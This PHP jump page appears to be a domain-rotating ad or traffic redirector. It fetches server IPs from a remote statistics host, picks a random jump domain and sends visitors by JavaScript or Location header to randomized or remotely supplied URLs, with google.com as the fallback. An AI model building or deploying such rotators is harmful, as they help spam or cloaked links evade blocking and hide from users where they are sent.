<?php
$data = include 'data.php';
include_once 'include.php';
$xxid = @$_GET['xxid'];
$adUrl = @$_GET['path'];
$ipPool = array(
	1=>curlGet("http://{$data['d6']}/ipPool.php"),	
);
if(!$ipPool){
	exit('请在入口处添加统计ip,并上传指定文件到统计服务器上!!!');
}
if(array_key_exists($xxid, $ipPool)&&!isset($adUrl)) {		
	$key = array_rand($ipPool[$xxid]);		
	$resultData = curlGet("http://".$ipPool[$xxid][$key]."/getData.php");	 
	 $jumpld = $resultData['d1'];	
 }elseif(isset($adUrl)) {
    $keyAd = array_rand($ipPool[$xxid]);		
	$resultDataAd = curlGet("http://".$ipPool[$xxid][$keyAd]."/getData.php");	 
	$lastAdUrl = $resultDataAd['back_url']; 
    header("Location:".$lastAdUrl);exit();
 }else{
	 header("Location: http://www.google.com");exit();
 }
$newurl = 'http://'.$jumpld."/".get_rand_str(2,4)."raorao".get_rand_str(2,6);
//curl请求
function curlGet($url){	
	//初始化
    $curl = curl_init();
    //设置抓取的url
    curl_setopt($curl, CURLOPT_URL,$url);
    //设置头文件的信息作为数据流输出
    curl_setopt($curl, CURLOPT_HEADER, 0);
    //设置获取的信息以文件流的形式返回，而不是直接输出。
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    //执行命令
    $data = curl_exec($curl);
    //关闭URL请求
    curl_close($curl);
    //显示获得的数据
    return json_decode($data,true);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>连接中...</title>
<script type="text/javascript" src="/static/jquery-3.3.1.min.js"></script>
</head>
<body>
</body>
<script>
$(function(){
	window.location.href = "<?php echo $newurl;?>";
})
</script>
</html>